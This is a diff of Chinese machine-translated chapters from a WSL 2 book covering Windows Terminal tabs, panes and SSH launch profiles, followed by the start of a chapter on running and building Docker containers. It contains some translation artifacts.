](img/Figure_6.1_B16412.jpg) - -图 6.1 - Windows 终端的屏幕截图,其中有许多选项卡打开 - -正如前面的截图所显示的,当多个选项卡打开时,很难分辨每个选项卡在运行什么,以及您使用它的目的是什么。 在编码时,我经常打开一个选项卡,用于执行 Git 操作,另一个选项卡用于构建和运行代码,另一个选项卡用于在运行时与代码交互。 在这些标签中添加一个用于一般系统交互的额外标签,以及一个或两个用于查看某人询问的关于另一个项目的问题的标签,这个数字会迅速增长。 - -前面的屏幕截图显示,根据在一个选项卡中运行的 shell,您可能会得到一些路径信息,但如果在同一路径中有多个选项卡,即使这也没有多大帮助,因为它们都显示相同的值。 幸运的是,在 Windows Terminal 中,您可以设置选项卡标题来帮助您跟踪。 我们将介绍几种不同的方法,这样您就可以选择最适合自己的方法。 - -## 从上下文菜单中设置标签标题 - -设置标题的简单方法是右键单击选项卡标题,弹出上下文菜单,选择**重命名选项卡**: - -![Figure 6.2 – A screenshot of the tab context menu showing Rename Tab ](img/Figure_6.2_B16412.jpg) - -图 6.2 -显示 Rename tab 的选项卡上下文菜单的屏幕截图 - -如上截图所示,右键单击一个选项卡会弹出一个上下文菜单,允许你重命名一个选项卡或设置选项卡颜色,以帮助组织你的选项卡: - -![Figure 6.3 – A screenshot of Windows Terminal with renamed and color-coded tabs ](img/Figure_6.3_B16412.jpg) - -图 6.3 - Windows 终端的屏幕截图,带有重命名和彩色编码的选项卡 - -这个截图显示了按对标签标题颜色的使用进行分组的标签标题集。 每个选项卡也有一个描述性的标题,例如,**git**表示该选项卡的用途。 当然,您可以选择适合您的工作流的标题。 - -当您在终端中工作时,您可能更希望能够使用键盘来设置标题,因此我们将在下面的内容中查看。 - -## 在 shell 中使用函数设置标签标题 - -如果您喜欢将双手放在键盘上,可以从运行在选项卡中的的 shell 中设置选项卡标题。 执行此操作的方法取决于所使用的 shell,因此我们将在这里查看几个不同的 shell。 让我们从**Bash**开始。 - -为了方便设置提示符,我们可以创建以下函数: - -```sh -function set-prompt() { echo -ne '\033]0;' $@ '\a'; } -``` - -从这段代码中可以看到,这创建了一个名为`set-prompt`的函数。 该函数使用转义序列来控制终端标题,允许我们运行诸如`set-prompt "A new title"`这样的命令来更改制表符标题,在本例中,将其更改为`A new title`。 - -对于 PowerShell,我们可以创建一个类似的函数: - -```sh -function Set-Prompt { - param ( - # Specifies a path to one or more locations. - [Parameter(Mandatory=$true, - ValueFromPipeline=$true)] - [ValidateNotNull()] - [string] - $PromptText - ) - $Host.UI.RawUI.WindowTitle = $PromptText -} -``` - -此代码片段显示了一个`Set-Prompt`函数,该函数访问 PowerShell`$Host`对象来控制标题,允许我们运行`Set-Prompt "A new title"`等命令,以类似于 Bash 中的方式更改选项卡标题。 - -对于 Windows 命令提示符(`cmd.exe`),我们可以运行`TITLE A new title`来控制标签标题。 - -提示 - -一些实用程序和 shell 配置覆盖默认提示设置,以控制除了提示之外的 shell 标题。 在这些情况下,这个部分的函数不会有任何明显的效果,因为提示将立即覆盖指定的标题。 如果在使用函数时遇到问题,请检查提示配置。 - -对于 Bash,运行 echo`$PROMPT_COMMAND`检查提示配置。 对于 PowerShell,运行`Get-Content function:prompt`。 - -我们刚才看到的函数的使用示例如下: - -![Figure 6.4 – A screenshot showing the use of the set-prompt function ](img/Figure_6.4_B16412.jpg) - -图 6.4 -显示设置提示功能使用情况的屏幕截图 - -在这个截图中,您可以看到 Bash 中使用了`set-prompt`函数来控制选项卡标题。 其他选项卡(PowerShell 和 Command Prompt)的标题也可以使用本节中所示的函数进行设置。 - -当您在终端中工作时,使用这些函数可以方便地更新选项卡标题,而不会中断访问鼠标的流程。 您还可以使用这些函数将标题作为脚本的一部分来更新,例如,通过选项卡标题提供一种一目了然的方式来查看长时间运行的脚本的状态,即使不同的选项卡具有焦点。 - -最后一种更新选项卡标题的方法是在启动 Windows Terminal 时通过命令行。 - -## 从命令行设置标签标题 - -前面的小节介绍了在 Windows 终端上运行 shell 的中设置选项卡标题; 在本节中,我们将启动 Windows Terminal 并传递命令行参数来指定要加载的配置文件和设置选项卡标题。 - -使用`wt.exe`命令可以从命令行或运行对话框(*Windows*+*R*)启动 Windows 终端。 单独运行`wt.exe`将启动 Windows Terminal,并加载默认配置文件。 可以使用`--title`开关控制选项卡标题,例如`wt.exe --title "Put a title here"`。 此外,`--profile`(或`-p`)开关允许我们指定应该加载哪个概要文件,这样`wt.exe -p Ubuntu-20.04 --title "This is Ubuntu"`将加载`Ubuntu-20.04`概要文件并设置选项卡标题。 - -控制选项卡标题的动机之一是在使用多个选项卡时进行跟踪。 Windows Terminal 有一组强大的命令行参数(我们将在下一节中看到更多这些参数),它们允许我们使用一个或多个特定的选项卡/配置文件启动 Terminal。 我们可以在前面的命令的基础上添加`; new-tab`(注意分号)来指定要加载的新选项卡,包括任何额外的参数,如`title`和`profile`: - -```sh -wt.exe -p "PowerShell" --title "This one is PowerShell"; new-tab -p "Ubuntu-20.04" --title "WSL here!" -``` - -在本例中,我们将指定第一个选项卡为`PowerShell`概要文件和一个标题为`This one is PowerShell`,并指定第二个选项卡为`Ubuntu-20.04`概要文件及其标题为`WSL here!`。 - -请注意 - -参数`new-tab`之前需要一个分号,但是许多 shell(包括 Bash 和 PowerShell)将分号作为命令分隔符。 要成功地使用前面的命令,任何分号都需要在 PowerShell 中使用反标记进行转义(``;`)。 - -见[*第五章*](05.html#_idTextAnchor054),*Linux, Windows 互操作性*,在*【显示】从 Linux 调用 Windows 应用部分,我们可以从 WSL 启动 Windows 应用。 通常,我们可以直接执行 Windows 应用,但由于 Windows Terminal 使用了一个名为执行别名的特性,我们需要通过`cmd.exe`来启动它。* - -此外,由于`wt.exe`的工作方式,当从 Bash 启动时,它需要使用`cmd.exe`运行: - -`cmd.exe /C wt.exe -p "PowerShell" --title "This one is PowerShell"\; new-tab -p "Ubuntu-20.04" --title "WSL here!"` - -这个例子展示了使用`cmd.exe`启动带有多个选项卡的 Windows Terminal(注意反斜杠来转义分号),设置配置文件和标题。 - -Windows Terminal 中的`new-tab`命令可以重复多次,通过这种方式,您可以创建命令或脚本以可重复的方式设置复杂的 Windows Terminal 选项卡安排。 - -本节中的技术为您提供了在 Windows Terminal 会话中设置选项卡标题的多种方法,以帮助您在使用在不同选项卡中打开的多个 shell 时保持组织。 在下一节中,我们将研究 Windows Terminal 用于处理多个 shell 的另一个特性。 - -# 使用多个窗格 - -在上一节中,我们看到了在同时打开多个 shell 时使用选项卡,但有时希望能够同时看到多个 shell。 在这一节中,我们将看看如何在 Windows Terminal 中使用多个窗格来实现如下内容: - -![Figure 6.5 – A screenshot showing multiple panes in Windows Terminal ](img/Figure_6.5_B16412.jpg) - -图 6.5 -视窗终端显示多个窗格的截屏 - -前面的屏幕截图显示了运行多个配置文件在同一个选项卡窗格:左边是 PowerShell 窗口,使得 web 请求,右上的窗格是运行一个 web 服务器,右下方的窗格中有`htop`在 WSL 运行跟踪运行 Linux 进程。 - -提示 - -如果您熟悉`tmux`实用程序([https://github.com/tmux/tmux/wiki](https://github.com/tmux/tmux/wiki)),那么这看起来可能很熟悉,因为`tmux`也允许将窗口拆分为多个面板。 但也有一些不同。 `tmux`的一个特征是允许您从终端断开和重新连接的会话,可以方便的在处理`ssh`,保存您的会话如果你**SSH【显示】(****Secure Shell)连接下降,而 Windows 终端不做(还)。 另一方面,使用 Windows Terminal 中的窗格,您可以在每个窗格中运行不同的配置文件,而`tmux`不能这样做。** - -在前面的屏幕截图中,您可以看到 PowerShell 和 Bash(在 WSL 中)在同一个选项卡的不同窗格中运行。 了解`tmux`和 Windows Terminal 的功能,并为该任务选择合适的工具是很有好处的——您总是可以在 Windows Terminal 的 Bash shell 中运行 tmux,对这两种情况都有好处! - -现在您已经了解了窗格,让我们看看如何设置它们。 - -## 交互式创建窗格 - -创建窗格的最简单方法是根据需要以交互方式创建它们。 有一些默认的快捷键,可以让你开始,但是如果你有特殊要求,你可以配置自己的键绑定描述:[https://docs.microsoft.com/en-us/windows/terminal/customize-settings/key-bindings pane-management-commands](https://docs.microsoft.com/en-us/windows/terminal/customize-settings/key-bindings#pane-management-commands)。 - -第一个命令是*Alt*+*【T3 转变】+*-*,这将把当前面板一半水平,*和*Alt +【显示】转变*+*+*,这将把面板垂直。 这两个命令都将在新创建的窗格中启动默认配置文件的一个新实例。 - -默认配置文件可能不是您想要运行的配置文件,但常见的情况是在您已经运行的配置文件中需要另一个终端。 按*Alt*+*Shift*+*D*将从当前窗格中创建一个配置文件的新实例。 该命令将根据可用空间自动决定是水平分割还是垂直分割。 - -如果你想在一个新的窗格中选择打开哪个配置文件,你可以打开启动配置文件下拉框: - -![Figure 6.6 – A screenshot showing the launch profile dropdown ](img/Figure_6.6_B16412.jpg) - -图 6.6 -显示启动配置文件下拉框的截图 - -这个截图显示了标准的下拉框,用于选择要运行的配置文件。 与正常单击不同,在单击时按住*Alt*键将在新的窗格中启动所选配置文件。 与*Alt*+*Shift*+*D*一样,Windows 终端将决定当前窗格是水平拆分还是垂直拆分。 - -另一个选项是使用 Windows 终端命令面板,使用*Ctrl*+*Shift*+*P*: - -![Figure 6.7 – A screenshot showing the split options in the command palette ](img/Figure_6.7_B16412.jpg) - -图 6.7 -在命令面板中显示拆分选项的屏幕截图 - -命令面板允许您输入命令来筛选命令列表,这个屏幕截图显示了匹配`split`的命令。 底部的两个命令匹配我们已经看到的两个命令,以及它们对应的快捷键。 top 命令在命令面板中提供了一个菜单系统,该菜单系统允许您选择要用于新的窗格的配置文件,然后选择如何分割现有的窗格。 - -现在我们已经了解了如何创建窗格,让我们看看如何使用它们。 - -## 管理窗格 - -在窗格之间切换焦点的最明显的方法是在窗格中单击鼠标——这样做可以更改聚焦的窗格(在窗格边框上用突出显示的颜色表示)。 要使用键盘更改窗格,您可以使用*Alt*+一个光标键,即*Alt*+*向上的光标*将焦点移动到当前窗格上方的一个窗格。 - -为了改变窗格的大小,我们使用类似的组合键:*Alt*+*Shift*+光标键。 *Alt*+*【T7 转变】+【显示】光标*和*【病人】*Alt + Shift+*光标下*组合调整当前面板的高度, 和【t16.1】Alt +*+*光标左移*和*Alt*+*【T25 转变】+*光标右*组合调整当前面板的宽度。** - - *如果在窗格中运行的任何 shell 退出,则该窗格将关闭,其他窗格将调整大小以填充其空间。 还可以关闭当前面板按**Ctrl + Shift*+*W*(这个快捷方式介绍了[*第三章【显示】*](03.html#_idTextAnchor037),*开始与 Windows 终端*,在【病人】使用 Windows 终端部分,作为快捷键关闭选项卡,但在这一点上, 一个标签中只有一个窗格!)* - - *最后,让我们看看在从命令行启动 Windows Terminal 时如何配置窗格。 - -## 从命令行创建窗格 - -在本章节的前面,我们看到了如何使用 Windows Terminal 命令行(`wt.exe`)来启动带有多个选项卡的 Windows Terminal。 在本节中,我们将看到如何对窗格进行同样的操作。 当您正在处理一个项目,并且拥有一组您通常可以设置的窗格时,这是很有用的,因为您可以编写脚本,使其易于启动一致的布局。 - -当使用多个选项卡启动时,我们对`wt.exe`使用`new-tab`命令。 使用多个窗格启动的方法与此类似,但使用了`split-pane`命令(注意,分号的转义规则仍然适用于命令行部分的*设置选项卡标题)。* - -下面是使用`split-pane`的例子: - -```sh -wt.exe -p PowerShell; split-pane -p Ubuntu-20.04 -V --title "web server"; split-pane -H -p Ubuntu-20.04 --title htop bash -c htop -``` - -如您所见,在本例中,`split-pane`用于指定一个新的窗格,我们可以使用`-p`开关来指定该窗格应该使用哪个概要文件。 我们可以让 Windows 终端选择如何进行拆分,也可以使用`-H`进行水平拆分,或者`-V`进行垂直拆分。 您可能还注意到已指定了`--title`。 Windows Terminal 允许每个窗格有一个标题,并将当前聚焦的窗格的标题显示为选项卡标题。 最后,您可能会注意到最后一个窗格有额外的参数`bash -c htop`。 这些参数被视为要在启动的概要文件中执行的命令。 这个命令的最终结果非常类似于图 6.5 中所示的屏幕截图。 - -另外,Windows Terminal 中的命令面板也允许我们使用命令行选项。 按*Ctrl*+*Shift*+*P*打开命令面板,然后键入`>`(右尖括号): - -![Figure 6.8 – A screenshot showing the command palette with command-line options ](img/Figure_6.8_B16412.jpg) - -图 6.8 -显示带有命令行选项的命令面板的屏幕截图 - -正如您在这个截图中看到的,我们可以使用`split-pane`命令来使用命令行选项分割现有的窗格。 - -到目前为止,在本章中,我们已经介绍了使用选项卡和窗格来帮助管理多个配置文件的方法。 在本章的最后一节中,我们将看看一些您可能想要创建的配置文件的其他想法。 - -# 添加自定义配置文件 - -Windows Terminal 在自动发现 PowerShell 安装和 WSL 发行版以填充您的概要文件列表(并在安装新发行版时更新它)方面做得很好。 这是一个很好的开始,但是除了启动一个交互式 shell 之外,概要文件还可以启动一个概要文件中的特定应用(如上一节中的`htop`所示)。 在本节中,我们将看几个示例,但它们的主要目的是展示除了启动 shell 之外的思想,为如何自定义 Windows Terminal 配置提供灵感。 - -如果您有一台定期通过 SSH 连接的机器,那么您可以通过创建一个直接启动到 SSH 的 Windows Terminal 配置文件来简化工作流。 从配置文件下拉菜单中打开你的设置(或者按下*Ctrl*+*,*),在`profiles`下的`list`部分添加一个配置文件: - -```sh -{ - "guid": "{9b0583cb-f2ef-4c16-bcb5-9111cdd626f3}", - "hidden": false, - "name": "slsshtest", - "commandline": "wsl bash -c \"ssh stuart@slsshtest.uksouth.cloudapp.azure.com\"", - "colorScheme": "Ubuntu-sl", - "background": "#801720", - "fontFace": "Cascadia Mono PL" -}, -``` - -介绍了 Windows 终端设置文件[*第三章*【病人】,*开始与 Windows 终端*,和在这个例子中,您可以看到熟悉的属性等这一章`name`和`colorScheme`。 `commandline`属性是我们配置应该运行的内容的地方,我们使用它来启动`wsl`命令,使用运行`ssh`的](03.html#_idTextAnchor037)命令行运行`bash`。 您应该确保`guid`的值与您设置中的其他配置文件不同。 这个例子展示了如何创建一个概要文件来在 WSL 中执行命令——对于 SSH,您还可以选择在`commandline`属性中直接使用`ssh`,因为 Windows 中现在包含了一个 SSH 客户机。 - -启动这个新配置文件将自动启动`ssh`并连接到指定的远程机器。 另外,可以使用`background`属性设置背景颜色,以指示您所连接的环境,例如,便于区分开发环境和测试环境。 - -如果你用 SSH 连接了很多机器,那么你可以启动一个脚本来选择要连接的机器: - -```sh -#!/bin/bash -# This is an example script showing how to set up a prompt for connecting to a remote machine over SSH -PS3="Select the SSH remote to connect to: " -# TODO Put your SSH remotes here (with username if required) -vals=( - stuart@sshtest.wsl.tips - stuart@slsshtest.uksouth.cloudapp.azure.com -) -IFS="\n" -select option in "${vals[@]}" -do -if [[ $option == "" ]]; then - echo "unrecognised option" - exit 1 -fi -echo "Connecting to $option..." -ssh $option -break -done -``` - -该脚本包含一个选项列表(`vals`),这些选项在脚本执行时将呈现给用户。 当用户选择一个选项时,脚本运行`ssh`以连接到该机器。 - -如果你把这个脚本保存为`ssh-launcher.sh`在你的主文件夹中,你可以在你的 Windows 终端设置中添加一个配置文件来执行它: - -```sh -{ - "guid": "{0b669d9f-7001-4387-9a91-b8b3abb4s7de8}", - "hidden": false, - "name": "ssh picker", - "commandline": "wsl bash $HOME/ssh-launcher.sh, - "colorScheme": "Ubuntu-sl", - "fontFace": "Cascadia Mono PL" -}, -``` - -在前面的配置文件中,您可以看到,`commandline`已经被运行前面`ssh-launcher.sh`脚本的脚本所取代。 当这个配置文件被启动时,它使用`wsl`通过`bash`来启动脚本: - -![Figure 6.9 – A screenshot showing the ssh launcher script running ](img/Figure_6.9_B16412.jpg) - -图 6.9 -显示 ssh 启动器脚本运行的截图 - -你可以在前面的截图中看到这个脚本。 该脚本提示用户从计算机列表中进行选择,然后运行`ssh`连接到所选的计算机。 这样就可以方便地建立到常用机器的连接。 - -当您使用 WSL 时,您可能会发现一组您经常运行的应用或您经常执行的步骤,这些都是添加到您的 Windows Terminal 概要文件的很好的候选对象! - -请注意 - -还有很多其他的选项,我们在这里没有机会看到,例如,为您的配置文件设置背景图像,您可以在 Windows 终端文档[https://docs.microsoft.com/en-us/windows/terminal/](https://docs.microsoft.com/en-us/windows/terminal/)找到这些细节。 Windows 终端也在快速地添加新特性——要了解新特性,可以在 GitHub 上的[https://github.com/microsoft/terminal/blob/master/doc/terminal-v2-roadmap.md](https://github.com/microsoft/terminal/blob/master/doc/terminal-v2-roadmap.md)查看路线图文档。 - -# 总结 - -在本章中,您已经看到了使用多个 Windows 终端配置文件的方法。 首先,您了解了如何通过控制选项卡标题(和颜色)来处理多个选项卡,以帮助跟踪每个选项卡的上下文。 然后您看到了如何使用窗格来允许多个(可能不同的)概要文件在同一个选项卡中运行。 您可能会发现您更喜欢一种工作方式而不是另一种,或者您将选项卡和配置文件组合在一起。 不管怎样,您还学习了如何使用 Windows Terminal 命令行为两个选项卡和窗格的创建编写脚本,以便轻松快速地为项目创建一致的、高效的工作环境。 - -本章的最后,通过设置一个配置文件来启动 SSH 连接到远程机器,来了解 Windows Terminal 配置文件如何不仅仅用于运行 shell。 然后您看到了如何更进一步,并提示您使用*Bash*脚本从要连接的机器列表中选择。 如果您定期通过 SSH 连接到计算机,那么这些示例可能会有用,但目的是展示如何进一步利用 Windows Terminal 中的配置文件。 当您发现工作流中常见的任务和应用时,考虑一下是否值得花几分钟创建一个 Windows Terminal 配置文件,以使这些重复的任务更快更容易。 所有这些技术允许您改进您的工作流程与 Windows 终端和提高您的日常工作效率。 - -在下一章中,我们将研究一个新主题:如何在 wsdl 中使用容器。** \ No newline at end of file diff --git a/docs/wsl2-tip-trick-tech/07.md b/docs/wsl2-tip-trick-tech/07.md deleted file mode 100644 index 4c5efb2d..00000000 --- a/docs/wsl2-tip-trick-tech/07.md +++ /dev/null @@ -1,460 +0,0 @@ -# 七、在 WSL 中使用容器 - -作为一种打包和管理应用的方法,容器是一个热门话题。 虽然容器有 Windows 和 Linux 两种风格,但由于这是一本关于 WSL 的书,我们将特别关注 Linux 容器和 Docker 容器。 如果你想了解 Windows 容器,这个链接是一个很好的起点:[https://docs.microsoft.com/virtualization/windowscontainers/](https://docs.microsoft.com/virtualization/windowscontainers/) - -在介绍了什么是容器并安装 Docker 之后,本章将指导你运行预构建的 Docker 容器,然后以 Python web 应用为例,教你如何为自己的应用构建容器映像。 在创建容器映像之后,您将快速浏览 Kubernetes 的一些关键组件,然后了解如何使用这些组件在 Kubernetes 内部托管容器化应用,所有这些组件都以 wsdl 运行。 - -在本章中,我们将涵盖以下主要主题: - -* 概述的容器 -* 通过 wsdl 安装和使用 Docker -* 使用 Docker 运行一个容器 -* 在 Docker 中构建并运行一个 web 应用 -* 引入协调器 -* 在 WSL 中设置 Kubernetes -* 在 Kubernetes 中运行 web 应用 - -我们将通过探索容器是什么来开始本章。 - -# 容器概述 - -容器提供了一种打包应用及其依赖项的方法。 这个描述可能有点像**虚拟机**(**VM**),其中有一个文件系统,可以在其中安装应用二进制文件,然后稍后运行。 然而,当您运行容器时,无论从启动的速度还是它所消耗的内存数量来看,它更像是一个进程。 在后台,容器是一组孤立的过程通过使用 Linux 名称空间特性,比如**【显示】和**对照组**(**并且【病人】),使它看起来像这些流程运行在自己的环境(包括自己的文件系统)。 容器与主机操作系统共享内核,因此不像 vm 那样隔离,但对于许多目的来说,这种隔离已经足够了,而且这种主机资源共享可以实现容器所能实现的低内存消耗和快速启动时间。**** - -除了容器的执行,Docker 还可以方便地定义容器(称为容器映像)的组成,并将容器映像发布到注册表中,供其他用户使用。 - -我们将在本章稍后的部分看到这一点,但首先,让我们安装 Docker。 - -# 在 WSL 中安装和使用 Docker - -传统的方法在 Windows 机器上运行码头工人使用码头工人桌面(https://www.docker.com/products/docker-desktop),将创建和管理一个 Linux VM 和运行 VM 的码头工人服务作为一个守护进程。 这样做的缺点是,VM 启动需要时间,并且必须预先分配足够的内存来为您运行各种容器。 - -有了 WSL2,就可以在 WSL**发行版**中安装和运行标准的 Linux Docker 守护进程。 这样做的好处是启动更快,在启动时消耗更少的内存,并且只会在运行容器时增加内存消耗。 缺点是您必须自己安装和管理这个守护进程。 - -幸运的是,现在有了第三种选择,即安装 Docker Desktop 并启用 WSL 后端。 通过这种方法,您可以从安装和管理的角度保持 Docker Desktop 的便利性。 不同之处在于,Docker Desktop 以 WSL 的形式为您运行守护进程,在启动时间和内存使用方面进行了改进,同时又不失易用性。 - -首先,从 https://www.docker.com/products/docker-desktop 下载并安装 Docker Desktop。 安装完成后,右键单击系统图标托盘中的 Docker 图标,选择**设置**。 你会看到以下画面: - -![Figure 7.1 – A screenshot of the Docker settings showing the WSL 2 option ](img/Figure_7.1_B16412.jpg) - -图 7.1 -显示 WSL 2 选项的 Docker 设置截图 - -前面的截图显示了**使用基于 WSL 2 的引擎**选项。 确保勾选此选项,将 Docker Desktop 配置为在 WSL 2 下运行,而不是在传统虚拟机下运行。 - -您可以从**资源**部分选择 Docker Desktop 集成的发行版: - -![Figure 7.2 – A screenshot of the Docker settings for WSL integration ](img/Figure_7.2_B16412.jpg) - -图 7.2 -用于 WSL 集成的 Docker 设置截图 - -正如你在前面的截图中看到的,你可以控制你想要与 Docker Desktop 集成的发行版。 当你选择集成 WSL 发行版,套接字的码头工人守护进程使用发行版和码头工人**命令行界面**(**CLI)添加你。 选择所有你想要使用 Docker 的发行版,然后点击**Apply&Restart**。** - -一旦 Docker 重新启动,你就可以使用`docker`命令行与 Docker 进行交互,比如`docker info`: - -```sh -$ docker info -Client: - Debug Mode: false -Server: -... -Server Version: 19.03.12 -... -Kernel Version: 4.19.104-microsoft-standard - Operating System: Docker Desktop - OSType: linux -... -``` - -这个代码片段显示了输出的一些运行`docker info`和中可以看到,服务器运行在内核的`linux``4.19.104-microsoft-standard`,这是 WSL 内核版本一样在我的机器上(你可以检查这个在你的机器上运行`uname -r`从你 WSL 发行版)。 - -更多关于使用 WSL 安装和配置 Docker Desktop 的信息可以在 https://docs.docker.com/docker-for-windows/wsl/的 Docker 文档中找到。 - -现在我们已经安装了 Docker,让我们开始运行一个容器。 - -# 使用 Docker 运行一个容器 - -正如前面提到的,Docker 给了我们一种包装容器图像的标准化方法。 这些容器镜像可以通过 Docker 注册表共享,而 Docker Hub (https://hub.docker.com/)是一个常用的注册表,用于公开可用的镜像。 在本节中,我们将使用`docker run -d --name docker-nginx -p 8080:80 nginx`命令运行一个带有`nginx`web 服务器的容器,如下所示: - -```sh -$ docker run -d --name docker-nginx -p 8080:80 nginx -Unable to find image 'nginx:latest' locally -latest: Pulling from library/nginx -8559a31e96f4: Already exists -1cf27aa8120b: Downloading [======================> ] 11.62MB/26.34MB -... -``` - -我们刚才运行的命令的最后一部分告诉 Docker 我们想要运行的容器映像(`nginx`)。 这段输出显示 Docker 没有在本地找到`nginx`图像,所以它已经开始从 Docker Hub 提取(也就是下载)它。 容器图像由层组成(我们将在本章后面进一步讨论),在输出中,一个层已经存在,另一个层正在下载中。 在下载过程中,`docker`命令行会不断更新输出,如下所示: - -```sh -$ docker run -d --name docker-nginx -p 8080:80 nginx -Unable to find image 'nginx:latest' locally -latest: Pulling from library/nginx -8559a31e96f4: Already exists -1cf27aa8120b: Pull complete -67d252a8c1e1: Pull complete -9c2b660fcff6: Pull complete -4584011f2cd1: Pull complete -Digest: sha256:a93c8a0b0974c967aebe868a186 e5c205f4d3bcb5423a56559f2f9599074bbcd -Status: Downloaded newer image for nginx:latest -336ab5bed2d5f547b8ab56ff39d1db08d26481215d9836a1b275e0c7dfc490d5 -``` - -当 Docker 完成图像提取后,您将看到类似于前面的输出,它确认 Docker 已经提取了图像,并打印了它创建的容器(`336ab5bed2d5…`)的 ID。 现在,我们可以运行`docker ps`来列出正在运行的容器: - -```sh -$ docker ps -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -336ab5bed2d5 nginx "/docker-entrypoint.…" About a minute ago Up About a minute 0.0.0.0:8080->80/tcp| docker-nginx -``` - -该输出显示了运行的单个容器,我们可以看到容器 ID`336ab5bed2d5`值与从`docker run`输出的容器 ID 的开头匹配。 默认情况下,`docker ps`输出容器 ID 的简写形式,而`docker run`输出完整的容器 ID 值。 - -让我们回到我们用于运行容器的命令:`docker run -d --name docker-nginx -p 8080:80 nginx`。 它有不同的部分: - -* `-d`告诉 Docker 运行这个与终端分离的容器,即在后台运行它。 -* `--name`告诉 Docker 为容器使用一个特定的名称`docker-nginx`,而不是生成一个随机的名称。 这个名称也可以在`docker ps`输出中看到,并且可以使用。 -* `-p`允许我们将主机上的端口映射到运行容器内的端口。 格式为`:`,因此在`8080:80`的情况下,我们已经将主机上的端口`8080`映射到容器内的端口`80`。 -* 最后一个参数是要运行的映像的名称:`nginx`。 - -由于`80`端口是`nginx`提供内容的默认端口,我们已经将`8080`端口映射到该容器端口,所以我们可以将浏览器打开到`http://localhost:8080`,如下图所示: - -![Figure 7.3 – A screenshot of the browser showing nginx output ](img/Figure_7.3_B16412.jpg) - -图 7.3 -显示 nginx 输出的浏览器截图 - -上面的屏幕截图显示了在 web 浏览器中 nginx 的输出。 现在,我们已经使用单个命令(`docker run`)下载并在 Docker 容器中运行 nginx。 容器资源有一个隔离级别,这意味着 nginx 在容器内服务流量的端口`80`在外部是不可见的,所以我们将其映射到容器外的端口`8080`。 因为我们码头工人桌面 2 WSL 后台运行,港口`8080`是暴露在 WSL 2 VM,但由于我们看到的魔法[【显示】第四章](04.html#_idTextAnchor047),*Windows, Linux 互操作性【病人】,在*访问 Linux web 应用从 Windows*部分,我们可以从 Windows 访问,在`http://localhost:8080`。* - -如果我们让容器继续运行,它将继续消耗资源,所以让我们在继续之前停止并删除它,如下所示: - -```sh -$ docker stop docker-nginx -docker-nginx -$ docker rm docker-nginx -docker-nginx -``` - -在这个输出中,您可以看到`docker stop docker-nginx`,它将停止正在运行的容器。 此时,它不再消耗内存或 CPU,但它仍然存在并引用用于创建它的映像,从而防止该映像被删除。 因此,在停止容器之后,我们使用`docker rm docker-nginx`来删除它。 为了释放磁盘空间,我们也可以通过运行`docker image rm nginx:latest`来清理`nginx`映像。 - -现在我们已经了解了如何运行容器,让我们构建自己的容器映像来运行。 - -# 在 Docker 中构建并运行一个 web 应用 - -在本节中,我们将构建一个 Docker 容器映像,该映像打包了一个 Python web 应用。 这个容器映像将包含 web 应用及其所有的依赖项,这样它就可以在安装了 Docker 守护进程的机器上运行。 - -跟随在这个例子中,确保你有这本书的代码(来自 https://github.com/PacktPublishing/Windows-Subsystem-for-Linux-2-WSL-2-Tips-Tricks-and-Techniques)克隆在一个 Linux 发行版,然后打开终端并导航到`chapter-07/01-docker-web-app`文件夹, 其中包含我们将在这里使用的示例应用。 请检查`README.md`文件中关于安装运行应用所需的依赖项的说明。 - -示例应用构建在 Python 的**Flask**web 框架(https://github.com/pallets/flask)上,并使用**Gunicorn HTTP 服务器**来托管应用(https://gunicorn.org/)。 - -为了保持 Docker 容器这一章的重点,应用有一个单独的代码文件`app.py`: - -```sh -from os import uname -from flask import Flask -app = Flask(__name__) -def gethostname(): - return uname()[1] -@app.route("/") -def home(): - return f"

Hello from {gethostname()}

" -``` - -如代码所示,为主页定义了一个单一端点,该端点返回一条消息,显示 web 服务器所在机器的主机名。 - -应用可以使用`gunicorn --bind 0.0.0.0:5000 app:app`运行,我们可以在浏览器中打开`http://localhost:5000`: - -![Figure 7.4 – A screenshot showing the sample app in a web browser ](img/Figure_7.4_B16412.jpg) - -图 7.4 -在 web 浏览器中显示示例应用的截图 - -在这个屏幕截图中,您可以看到来自示例应用的响应,显示了应用运行的主机名(`wfhome`)。 - -现在您已经看到了实际的示例应用,我们将开始研究如何将其打包为容器映像。 - -## Dockerfiles 简介 - -要构建一个映像,我们需要能够向 Docker 描述映像应该包含什么,为此,我们将使用`Dockerfile`。 一个`Dockerfile`包含了一系列命令,Docker 要执行来构建一个容器映像: - -```sh -FROM python:3.8-slim-buster -EXPOSE 5000 -ADD requirements.txt . -RUN python -m pip install -r requirements.txt -WORKDIR /app -ADD . /app -CMD ["gunicorn", "--bind", "0.0.0.0:5000", "app:app"] -``` - -这个 Dockerfile 包含许多命令。 让我们来看看它们: - -* `FROM`命令指定了 Docker 应该使用的基本映像,换句话说,就是容器映像的起始内容。 安装在基本映像中的任何应用和包都将成为我们在其上构建的映像的一部分。 这里,我们指定了`python:3.8-slim-buster`映像,它提供基于**Debian Buster**的映像,其中安装了 Python 3.8。 还有一个`python:3.8-buster`图像,其中包含许多常见的包,但这会使基础图像变大。 因为这个应用只使用了几个包,所以我们使用了`slim`变体。 -* `EXPOSE`表示我们想要公开一个端口(在本例中是`5000`,因为这是 web 应用将要侦听的端口)。 -* 我们使用`ADD`命令向容器图像添加内容。 `ADD`的第一个参数指定要从`host`文件夹中添加的内容,第二个参数指定将其放置在容器图像中的位置。 这里,我们添加了`requirements.txt`。 -* `RUN`命令用于使用我们刚刚在`ADD`命令的帮助下添加到映像的`requirements.txt`文件执行`pip install`操作。 -* `WORKDIR`用于将容器中的工作目录设置为`/app`。 -* 再次使用`ADD`将应用的全部内容复制到`/app`目录中。 在下一节中,我们将讨论为什么要用两个单独的`ADD`命令复制应用文件。 -* 最后,`CMD`命令指定从映像运行容器时将执行什么命令。 这里,我们指定了刚才用于在本地运行 web 应用的相同的`gunicorn`命令。 - -现在我们有了`Dockerfile`,让我们看看如何使用它来构建映像。 - -## 塑造形象 - -要构建容器映像,我们将使用`docker build`命令: - -```sh -docker build -t simple-python-app . -``` - -这里,我们使用了`-t`开关来指定结果图像应该被标记为`simple-python-app`。 这是映像的名称,稍后我们可以使用它从映像运行容器。 最后,我们告诉 Docker 使用哪个目录作为构建上下文,这里,我们使用`.`来表示当前目录。 构建上下文指定打包并传递给 Docker 守护进程用于构建映像的内容——当您将一个文件`ADD`转移到`Dockerfile`时,它将从构建上下文复制。 - -这个命令的输出相当长,因此我们将不包含完整的输出,而是查看几个关键部分。 - -初始输出来自`FROM`命令: - -```sh -Step 1/7 : FROM 